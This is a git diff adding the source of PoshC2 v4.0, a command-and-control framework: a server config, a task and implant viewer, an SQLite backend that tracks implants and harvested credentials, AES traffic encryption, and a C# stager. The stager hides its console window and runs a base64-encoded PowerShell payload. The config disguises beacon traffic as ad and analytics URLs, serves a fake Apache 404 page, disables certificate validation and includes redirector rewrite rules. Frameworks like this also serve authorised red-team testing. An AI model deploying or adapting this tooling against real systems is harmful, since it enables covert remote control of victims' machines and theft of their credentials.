server_side=True) + else: + raise ValueError("Cannot find the certificate files") + #logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL + + try: + httpd.serve_forever() + except KeyboardInterrupt: + pass + httpd.server_close() + print time.asctime(), "PoshC2 Server Stopped - %s:%s" % (HOST_NAME, PORT_NUMBER) diff --git a/C2Viewer.py b/C2Viewer.py new file mode 100644 index 0000000..012d8e5 --- /dev/null +++ b/C2Viewer.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +from Colours import * +from Config import * +from DB import * +import time, os + +rows = 10 +taskid = 0 + +try: + if os.name == 'nt': + os.system('cls') + else: + os.system('clear') +except Exception as e: + print "cls" + print chr(27) + "[2J" +print Colours.GREEN,"" +print logo, Colours.END + +try: + taskid = get_seqcount("CompletedTasks") + 1 +except Exception as e: + user = "None" + taskid = 1 + +try: + newtaskid = get_seqcount("NewTasks") + 1 +except Exception as e: + user = "None" + newtaskid = 1 + +try: + implantid = get_seqcount("Implants") + 1 +except Exception as e: + user = "None" + implantid = 1 + +while(1): + try: + newtask = get_newtasksbyid(newtaskid) + hostinfo = get_hostinfo(newtask[1]) + now = datetime.datetime.now() + command = newtask[2] + print Colours.YELLOW + print "Command issued against implant %s on host %s %s (%s)" % (hostinfo[0],hostinfo[3],hostinfo[11],now.strftime("%m/%d/%Y %H:%M:%S")) + + if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) : + print "Loading Shellcode",Colours.END + elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) : + print "Loading Shellcode",Colours.END + elif "upload-file" in command.lower(): + print "Uploading File",Colours.END + else: + print command,Colours.END + + newtaskid = newtaskid + 1 + except Exception as e: + user = "None" + + try: + completedtask = get_completedtasksbyid(taskid) + hostinfo = get_hostinfo(completedtask[2]) + now = datetime.datetime.now() + if hostinfo: + print Colours.GREEN + print "Command returned against implant %s on host %s %s (%s)" % (hostinfo[0],hostinfo[3],hostinfo[11],now.strftime("%m/%d/%Y %H:%M:%S")) + print completedtask[4],Colours.END + taskid = taskid + 1 + except Exception as e: + user = "None" + + try: + implant = get_implantbyid(implantid) + if implant: + print Colours.GREEN + print "New %s implant connected: (uri=%s key=%s)" % (implant[15], implant[1], implant[5]) + print "%s | URL:%s | Time:%s | PID:%s | Sleep:%s | %s (%s) " % (implant[4], implant[9], implant[6], + implant[8], implant[13], implant[11], implant[10]) + print Colours.END + implantid = implantid + 1 + except Exception as e: + user = "None" + + time.sleep(1) + \ No newline at end of file diff --git a/Cert.py b/Cert.py new file mode 100644 index 0000000..6e469fa --- /dev/null +++ b/Cert.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +from OpenSSL import crypto, SSL +from socket import gethostname +from pprint import pprint +from time import gmtime, mktime +from os.path import exists, join + +CERT_FILE = "posh.crt" +KEY_FILE = "posh.key" + +def create_self_signed_cert(cert_dir): + """ + If datacard.crt and datacard.key don't exist in cert_dir, create a new + self-signed cert and keypair and write them into that directory. + + easy_install pyopenssl + """ + + if not exists(join(cert_dir, CERT_FILE)) or not exists(join(cert_dir, KEY_FILE)): + + # create a key pair + k = crypto.PKey() + k.generate_key(crypto.TYPE_RSA, 2048) + # create a self-signed cert + cert = crypto.X509() + cert.get_subject().C = "US" + cert.get_subject().ST = "Minnesota" + cert.get_subject().L = "Minnetonka" + cert.get_subject().O = "Pajfds" + cert.get_subject().OU = "Jethpro" + cert.get_subject().CN = "P18055077" + cert.set_serial_number(1000) + cert.gmtime_adj_notBefore(0) + cert.gmtime_adj_notAfter(10*365*24*60*60) + cert.set_issuer(cert.get_subject()) + cert.set_pubkey(k) + cert.sign(k, 'sha1') + + open(join(cert_dir, CERT_FILE), "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) + open(join(cert_dir, KEY_FILE), "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) diff --git a/Colours.py b/Colours.py new file mode 100644 index 0000000..181188e --- /dev/null +++ b/Colours.py @@ -0,0 +1,8 @@ +#!/usr/bin/python + +class Colours: + BLUE = '\033[94m' + GREEN = '\033[92m' + RED = '\033[91m' + END = '\033[0m' + YELLOW = '\033[93m' \ No newline at end of file diff --git a/Config.py b/Config.py new file mode 100644 index 0000000..5de220b --- /dev/null +++ b/Config.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python + +HOST_NAME = '0.0.0.0' +PORT_NUMBER = 443 + +POSHDIR = "/opt/PoshC2_Python/" +ROOTDIR = "/opt/PoshC2-Project/" +HostnameIP = "https://172.16.0.126" +ServerPort = "443" +DomainFrontHeader = "" # example df.azureedge.net +DefaultSleep = "5" +KillDate = "08/06/2019" +QuickCommand = "adsense/troubleshooter/1631343?id=Ndks8dmsPld" +DownloadURI = "adsense/troubleshooter/1631343?id=Ndks8dmsPld" +Sounds = "Yes" +APIKEY = "" # ClockworkSMS API key for notifications +MobileNumber = '"07777777777","07777777777"' # +URLS = '"adsense/troubleshooter/1631343/","adServingData/PROD/TMClient/6/8736/","advanced_search?hl=en-GB&fg=","async/newtab?ei=","babel-polyfill/6.3.14/polyfill.min.js=","bh/sync/aol?rurl=/ups/55972/sync?origin=","bootstrap/3.1.1/bootstrap.min.js?p=","branch-locator/search.asp?WT.ac&api=","business/home.asp&ved=","business/retail-business/insurance.asp?WT.mc_id=","cdb?ptv=48&profileId=125&av=1&cb=","cis/marketq?bartype=AREA&showheader=FALSE&showvaluemarkers=","classroom/sharewidget/widget_stable.html?usegapi=","client_204?&atyp=i&biw=1920&bih=921&ei=","load/pages/index.php?t=","putil/2018/0/11/po.html?ved=","q/2018/load.php?lang=en&modules=","status/995598521343541248/query=","TOS?loc=GB&hl=en&privacy=","trader-update/history&pd=","types/translation/v1/articles/","uasclient/0.1.34/modules/","usersync/tradedesk/","utag/lbg/main/prod/utag.15.js?utv=","vs/1/vsopts.js?","vs/site/bgroup/visitor/","w/load.php?debug=false&lang=en&modules=","web/20110920084728/","webhp?hl=en&sa=X&ved=","work/embedded/search?oid="' +SocksURLS = '"GoPro5/black/2018/","Philips/v902/"' +UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko" +Referer = "" # optional +HTTPResponse = """ + +404 Not Found + +

Not Found

+

The requested URL was not found on this server.

+
+
Apache (Debian) Server
+ +""" +HTTPResponses = [ +"STATUS 200", +"OK", +"#RANDOMDATA#", +"#RANDOMDATA#", +""" +#RANDOMDATA# +#RANDOMDATA#""", +"#RANDOMDATA#
#RANDOMDATA#
" +] +ServerHeader = "Apache" +Insecure = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}" + + + +# DO NOT CHANGE # +FilesDirectory = "%sFiles/" % POSHDIR +PayloadsDirectory = "%spayloads/" % ROOTDIR +DownloadsDirectory = "%sdownloads/" % ROOTDIR +ReportsDirectory = "%sreports/" % ROOTDIR +DB = "%s/PowershellC2.SQLite" % ROOTDIR + +logo = """__________ .__. _________ ________ + \_______ \____ _____| |__ \_ ___ \ \_____ \ + | ___/ _ \/ ___/ | \ / \ \/ / ____/ + | | ( <_> )___ \| Y \ \ \____/ \ + |____| \____/____ >___| / \______ /\_______ \ + \/ \/ \/ \/ + =============== v4.0 www.PoshC2.co.uk =============""" + +# DO NOT CHANGE # + +''' +RewriteEngine On +SSLProxyEngine On +SSLProxyCheckPeerCN Off +SSLProxyVerify none +SSLProxyCheckPeerName off +SSLProxyCheckPeerExpire off + +Define PoshC2 +Define SharpSocks + +RewriteRule ^/adsense/troub(.*) https://${PoshC2}/adsense/troub$1 [NC,L,P] +RewriteRule ^/adServingData(.*) https://${PoshC2}/adServingData$1 [NC,L,P] +RewriteRule ^/advanced_sear(.*) https://${PoshC2}/advanced_sear$1 [NC,L,P] +RewriteRule ^/async/newtab(.*) https://${PoshC2}/async/newtab$1 [NC,L,P] +RewriteRule ^/babel-polyfil(.*) https://${PoshC2}/babel-polyfil$1 [NC,L,P] +RewriteRule ^/bh/sync/aol(.*) https://${PoshC2}/bh/sync/aol$1 [NC,L,P] +RewriteRule ^/bootstrap/3.1(.*) https://${PoshC2}/bootstrap/3.1$1 [NC,L,P] +RewriteRule ^/branch-locato(.*) https://${PoshC2}/branch-locato$1 [NC,L,P] +RewriteRule ^/business/home(.*) https://${PoshC2}/business/home$1 [NC,L,P] +RewriteRule ^/business/reta(.*) https://${PoshC2}/business/reta$1 [NC,L,P] +RewriteRule ^/cdb(.*) https://${PoshC2}/cdb$1 [NC,L,P] +RewriteRule ^/cis/marketq(.*) https://${PoshC2}/cis/marketq$1 [NC,L,P] +RewriteRule ^/classroom/sha(.*) https://${PoshC2}/classroom/sha$1 [NC,L,P] +RewriteRule ^/client_204(.*) https://${PoshC2}/client_204$1 [NC,L,P] +RewriteRule ^/load/pages/in(.*) https://${PoshC2}/load/pages/in$1 [NC,L,P] +RewriteRule ^/putil/2018/0/(.*) https://${PoshC2}/putil/2018/0/$1 [NC,L,P] +RewriteRule ^/q/2018/load.p(.*) https://${PoshC2}/q/2018/load.p$1 [NC,L,P] +RewriteRule ^/status/995598(.*) https://${PoshC2}/status/995598$1 [NC,L,P] +RewriteRule ^/TOS(.*) https://${PoshC2}/TOS$1 [NC,L,P] +RewriteRule ^/trader-update(.*) https://${PoshC2}/trader-update$1 [NC,L,P] +RewriteRule ^/types/transla(.*) https://${PoshC2}/types/transla$1 [NC,L,P] +RewriteRule ^/uasclient/0.1(.*) https://${PoshC2}/uasclient/0.1$1 [NC,L,P] +RewriteRule ^/usersync/trad(.*) https://${PoshC2}/usersync/trad$1 [NC,L,P] +RewriteRule ^/utag/lbg/main(.*) https://${PoshC2}/utag/lbg/main$1 [NC,L,P] +RewriteRule ^/vs/1/vsopts.j(.*) https://${PoshC2}/vs/1/vsopts.j$1 [NC,L,P] +RewriteRule ^/vs/site/bgrou(.*) https://${PoshC2}/vs/site/bgrou$1 [NC,L,P] +RewriteRule ^/w/load.php(.*) https://${PoshC2}/w/load.php$1 [NC,L,P] +RewriteRule ^/web/201109200(.*) https://${PoshC2}/web/201109200$1 [NC,L,P] +RewriteRule ^/webhp(.*) https://${PoshC2}/webhp$1 [NC,L,P] +RewriteRule ^/work/embedded(.*) https://${PoshC2}/work/embedded$1 [NC,L,P] + +RewriteRule ^/GoPro5/black/2018/(.*) http://${SharpSocks}/GoPro5/black/2018/$1 [NC,L,P] +RewriteRule ^/Philips/v902/(.*) http://${SharpSocks}/Philips/v902/$1 [NC,L,P] + +''' diff --git a/Core.py b/Core.py new file mode 100644 index 0000000..5dccf5f --- /dev/null +++ b/Core.py @@ -0,0 +1,115 @@ +#!/usr/bin/python + +import zlib, argparse, os, re, datetime, time, base64, string, random, codecs +from C2Server import * +from Config import * + +def default_response(): + return (random.choice(HTTPResponses)).replace("#RANDOMDATA#",randomuri()) + +def formStr(varstr, instr): + holder = [] + str1 = '' + str2 = '' + str1 = varstr + ' = "' + instr[:56] + '"' + for i in xrange(56, len(instr), 48): + holder.append('"'+instr[i:i+48]) + str2 = '"\r\n'.join(holder) + + str2 = str2 + "\"" + str1 = str1 + "\r\n"+str2 + return "%s;" % str1 + +def formStrMacro(varstr, instr): + holder = [] + str1 = '' + str2 = '' + str1 = varstr + ' = "' + instr[:54] + '"' + for i in xrange(54, len(instr), 48): + holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48]) + str2 = '"\r\n'.join(holder) + + str2 = str2 + "\"" + str1 = str1 + "\r\n"+str2 + return str1 + + +def load_module(module_name): + file = codecs.open(("%sModules/%s" % (POSHDIR,module_name)), 'r', encoding='utf-8-sig') + return file.read() + +def get_images(): + dir_path = os.path.dirname(os.path.realpath(__file__)) + rootimagedir = "%s/Images/" % dir_path + images = "" + for root, dirs, filenames in os.walk(rootimagedir): + count = 1 + for f in filenames: + if count == 5: + with open(rootimagedir+f, "rb") as image_file: + image = image_file.read() + if len(image) < 1500: + images += "\"%s\"" % (base64.b64encode(image)) + if count < 5: + with open(rootimagedir+f, "rb") as image_file: + image = image_file.read() + if len(image) < 1500: + images += "\"%s\"," % (base64.b64encode(image)) + count += 1 + return images + +def gen_key(): + key = os.urandom(256/8) + return base64.b64encode(key) + +def randomuri(size = 15, chars=string.ascii_letters + string.digits): + return ''.join(random.choice(chars) for _ in range(size)) + +# Decrypt a string from base64 encoding +def get_encryption( key, iv='0123456789ABCDEF' ): + from Crypto.Cipher import AES + # print 'IV: ', iv + aes = AES.new( base64.b64decode(key), AES.MODE_CBC, iv ) + return aes + +# Decrypt a string from base64 encoding +def decrypt( key, data ): + iv = data[0:16] + aes = get_encryption(key, iv) + data = aes.decrypt( base64.b64decode(data) ) + return data[16:] + +# Decrypt a string from base64 encoding +def decrypt_bytes_gzip( key, data): + iv = data[0:16] + aes = get_encryption(key, iv) + data = aes.decrypt( data ) + import StringIO + import gzip + infile = StringIO.StringIO(data[16:]) + with gzip.GzipFile(fileobj=infile, mode="r") as f: + data = f.read() + return data + +# Encrypt a string and base64 encode it +def encrypt( key, data, gzip=False ): + if gzip: + print 'Gzipping data - pre-zipped len, ' + str(len(data)) + import StringIO + import gzip + out = StringIO.StringIO() + with gzip.GzipFile(fileobj=out, mode="w") as f: + f.write(data) + data = out.getvalue() + + # Pad with zeros + mod = len(data) % 16 + if mod != 0: + newlen = len(data) + (16-mod) + data = data.ljust( newlen, '\0' ) + aes = get_encryption(key) + # print 'Data len: ' + str(len(data)) + data = aes.IV + aes.encrypt( data ) + if not gzip: + data = base64.b64encode( data ) + return data \ No newline at end of file diff --git a/DB.py b/DB.py new file mode 100644 index 0000000..adcdb55 --- /dev/null +++ b/DB.py @@ -0,0 +1,573 @@ +#!/usr/bin/python + +import datetime, time +import sqlite3 +from sqlite3 import Error +from C2Server import DB +from ImplantHandler import DB + +def initializedb(): + create_implants = """CREATE TABLE IF NOT EXISTS Implants ( + ImplantID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, + RandomURI VARCHAR(20), + User TEXT, + Hostname TEXT, + IpAddress TEXT, + Key TEXT, + FirstSeen TEXT, + LastSeen TEXT, + PID TEXT, + Proxy TEXT, + Arch TEXT, + Domain TEXT, + Alive TEXT, + Sleep TEXT, + ModsLoaded TEXT, + Pivot TEXT);""" + + create_autoruns = """CREATE TABLE AutoRuns ( + TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, + Task TEXT);""" + + create_completedtasks = """CREATE TABLE CompletedTasks ( + CompletedTaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, + TaskID TEXT, + RandomURI TEXT, + Command TEXT, + Output TEXT, + Prompt TEXT);""" + + create_tasks = """CREATE TABLE NewTasks ( + TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, + RandomURI TEXT, + Command TEXT);""" + + create_creds = """CREATE TABLE Creds ( + credsID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, + Username TEXT, + Password TEXT, + Hash TEXT);""" + + create_c2server = """CREATE TABLE C2Server ( + ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, + HostnameIP TEXT, + EncKey TEXT, + DomainFrontHeader TEXT, + DefaultSleep TEXT, + KillDate TEXT, + HTTPResponse TEXT, + FolderPath TEXT, + ServerPort TEXT, + QuickCommand TEXT, + DownloadURI TEXT, + ProxyURL TEXT, + ProxyUser TEXT, + ProxyPass TEXT, + Sounds TEXT, + APIKEY TEXT, + MobileNumber TEXT, + URLS TEXT, + SocksURLS TEXT, + Insecure TEXT, + UserAgent TEXT, + Referer TEXT);""" + + create_history = """CREATE TABLE History ( + ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, + Command TEXT);""" + + conn = sqlite3.connect(DB) + c = conn.cursor() + + if conn is not None: + c.execute(create_implants) + c.execute(create_autoruns) + c.execute(create_completedtasks) + c.execute(create_tasks) + c.execute(create_creds) + c.execute(create_c2server) + c.execute(create_history) + conn.commit() + else: + print("Error! cannot create the database connection.") + +def setupserver(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer): + conn = sqlite3.connect(DB) + conn.text_factory = str + c = conn.cursor() + c.execute("INSERT INTO C2Server (HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer)) + conn.commit() + +def get_c2server_all(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM C2Server") + result = c.fetchone() + if result: + return result + else: + return None + +def get_implants_all(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants") + result = c.fetchall() + if result: + return result + else: + return None + +def get_nettasks_all(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM NewTasks") + result = c.fetchall() + if result: + return result + else: + return None + +def drop_nettasks(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("DELETE FROM NewTasks ") + conn.commit() + +def new_task( task, randomuri ): + conn = sqlite3.connect(DB) + conn.text_factory = str + c = conn.cursor() + c.execute("INSERT INTO NewTasks (RandomURI, Command) VALUES (?, ?)",(randomuri, task)) + conn.commit() + +def get_lastcommand(): + conn = sqlite3.connect(DB) + conn.text_factory = str + c = conn.cursor() + c.execute("SELECT * FROM History ORDER BY ID DESC LIMIT 1") + try: + result = c.fetchone()[1] + except Exception as e: + result = None + if result: + return result + else: + return None + +def new_commandhistory( command ): + conn = sqlite3.connect(DB) + conn.text_factory = str + c = conn.cursor() + c.execute("INSERT INTO History (Command) VALUES (?)",(command,)) + conn.commit() + +def get_history_dict(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM History") + result = c.fetchall() + if result: + return result + else: + return None + +def get_history(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM History") + result = c.fetchall() + history = "" + for command in result: + history = "%s \r\n %s" % (history, command[1]) + history = "%s \r\n" % (history) + if history: + return history + else: + return None + +def get_implants(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants WHERE Alive='Yes'") + result = c.fetchall() + if result: + return result + else: + return None + +def get_implanttype( randomuri ): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT Pivot FROM Implants WHERE RandomURI=?",(randomuri,)) + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_implantdetails( randomuri ): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants WHERE RandomURI=?",(randomuri,)) + result = c.fetchone() + if result: + return result + else: + return None + +def get_hostdetails( implant_id ): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants WHERE ImplantID=?",(implant_id,)) + result = c.fetchone() + if result: + return result + else: + return None + +def get_randomuri( implant_id ): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT RandomURI FROM Implants WHERE ImplantID=?",(implant_id,)) + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def add_autorun(Task): + conn = sqlite3.connect(DB) + conn.text_factory = str + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("INSERT INTO AutoRuns (Task) VALUES (?)", (Task,)) + conn.commit() + +def update_sleep( sleep, randomuri ): + conn = sqlite3.connect(DB) + c = conn.cursor() + c.execute("UPDATE Implants SET Sleep=? WHERE RandomURI=?",(sleep, randomuri)) + conn.commit() + +def update_mods( modules, randomuri ): + conn = sqlite3.connect(DB) + c = conn.cursor() + c.execute("UPDATE Implants SET ModsLoaded=? WHERE RandomURI=?",(modules, randomuri)) + conn.commit() + +def kill_implant( randomuri ): + conn = sqlite3.connect(DB) + c = conn.cursor() + c.execute("UPDATE Implants SET Alive='No' WHERE RandomURI=?",(randomuri,)) + conn.commit() + +def unhide_implant( randomuri ): + conn = sqlite3.connect(DB) + c = conn.cursor() + c.execute("UPDATE Implants SET Alive='Yes' WHERE RandomURI=?",(randomuri,)) + conn.commit() + +def select_mods( randomuri ): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT ModsLoaded FROM Implants WHERE RandomURI=?", (randomuri,)) + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def select_item(column, table): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT %s FROM %s" % (column, table)) + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def del_newtasks(TaskID): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("DELETE FROM NewTasks WHERE TaskID=?", (TaskID,)) + conn.commit() + +def del_autorun(TaskID): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("DELETE FROM AutoRuns WHERE TaskID=?", (TaskID,)) + conn.commit() + +def del_autoruns(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("DELETE FROM AutoRuns ") + conn.commit() + +def update_implant_lastseen(time, randomuri): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("UPDATE Implants SET LastSeen=? WHERE RandomURI=?", (time,randomuri)) + conn.commit() + +def new_implant(RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("INSERT INTO Implants (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot)) + conn.commit() + +def insert_completedtask(randomuri, command, output, prompt): + now = datetime.datetime.now() + TaskID = now.strftime("%m/%d/%Y %H:%M:%S") + conn = sqlite3.connect(DB) + conn.text_factory = str + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("INSERT INTO CompletedTasks (TaskID, RandomURI, Command, Output, Prompt) VALUES (?, ?, ?, ?, ?)", (TaskID, randomuri, command, output, prompt)) + conn.commit() + +def update_item(column, table, value, wherecolumn=None, where=None): + conn = sqlite3.connect(DB) + c = conn.cursor() + if wherecolumn is None: + c.execute("UPDATE %s SET %s=?" % (table,column), (value,)) + else: + c.execute("UPDATE %s SET %s=? WHERE %s=?" % (table,column,wherecolumn), (value, where)) + conn.commit() + +def get_implantbyid(id): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants WHERE ImplantID=%s" % id) + result = c.fetchone() + if result: + return result + else: + return None + +def get_completedtasks(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM CompletedTasks") + result = c.fetchall() + if result: + return result + else: + return None + +def get_completedtasksbyid(id): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM CompletedTasks WHERE CompletedTaskID=%s" % id) + result = c.fetchone() + if result: + return result + else: + return None + +def get_newtasksbyid(taskid): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM NewTasks WHERE TaskID=%s" % taskid) + result = c.fetchone() + if result: + return result + else: + return None + +def get_seqcount(table): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT seq FROM sqlite_sequence WHERE name=\"%s\"" % table) + result = int(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_baseenckey(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT EncKey FROM C2Server") + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_defaultuseragent(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT UserAgent FROM C2Server") + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_defaultbeacon(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT DefaultSleep FROM C2Server") + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_killdate(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT KillDate FROM C2Server") + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_sharpurls(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT SocksURLS FROM C2Server") + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_allurls(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT URLS FROM C2Server") + result1 = str(c.fetchone()[0]) + c.execute("SELECT SocksURLS FROM C2Server") + result2 = str(c.fetchone()[0]) + result = result1+","+result2 + if result: + return result + else: + return None + +def get_beaconurl(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT URLS FROM C2Server") + result = str(c.fetchone()[0]) + if result: + url = result.split(",") + return url[0] + else: + return None + +def get_otherbeaconurls(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT URLS FROM C2Server") + result = str(c.fetchone()[0]) + if result: + return result + else: + return None + +def get_newimplanturl(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT URLS FROM C2Server") + result = str(c.fetchone()[0]) + if result: + url = result.split(",") + return "/"+url[0].replace('"', '') + else: + return None + +def get_hostinfo(randomuri): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants WHERE RandomURI=?", (randomuri,)) + result = c.fetchall() + if result: + return result[0] + else: + return None + +def get_autoruns(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM AutoRuns") + result = c.fetchall() + if result: + return result + else: + return None + +def get_autorun(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM AutoRuns") + result = c.fetchall() + autoruns = "" + for autorun in result: + autoruns += "%s:%s\r\n" % (autorun[0],autorun[1]) + if autoruns: + return autoruns + else: + return None + +def get_pid(randomuri): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT PID FROM Implants WHERE RandomURI=?", (randomuri,)) + result = c.fetchone()[0] + if result: + return result + else: + return None + +def get_newtasks(randomuri): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM NewTasks WHERE RandomURI=?", (randomuri,)) + result = c.fetchall() + if result: + return result + else: + return None \ No newline at end of file diff --git a/Files/Posh.cs b/Files/Posh.cs new file mode 100755 index 0000000..776f3cc --- /dev/null +++ b/Files/Posh.cs @@ -0,0 +1,107 @@ +using System; +using System.Text; +using System.Diagnostics; +using System.Reflection; +using System.Configuration.Install; +using System.Runtime.InteropServices; +using System.Collections.ObjectModel; +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using System.EnterpriseServices; + +public class Program + { + [DllImport("kernel32.dll")] + static extern IntPtr GetConsoleWindow(); + [DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + public const int SW_HIDE = 0; + public const int SW_SHOW = 5; + public static string p = "#REPLACEME#"; + public Program() { + try + { + string tt = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(p)); + InvokeAutomation(tt); + } + catch + { + Main(); + } + } + public static string InvokeAutomation(string cmd) + { + Runspace newrunspace = RunspaceFactory.CreateRunspace(); + newrunspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace); + Pipeline pipeline = newrunspace.CreatePipeline(); + + pipeline.Commands.AddScript(cmd); + Collection results = pipeline.Invoke(); + newrunspace.Close(); + + StringBuilder stringBuilder = new StringBuilder(); + foreach (PSObject obj in results) + { + stringBuilder.Append(obj); + } + return stringBuilder.ToString().Trim(); + } + public static void Main() + { + var handle = GetConsoleWindow(); + ShowWindow(handle, SW_HIDE); + try + { + string tt = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(p)); + InvokeAutomation(tt); + } + catch + { + Main(); + } + } + +} + 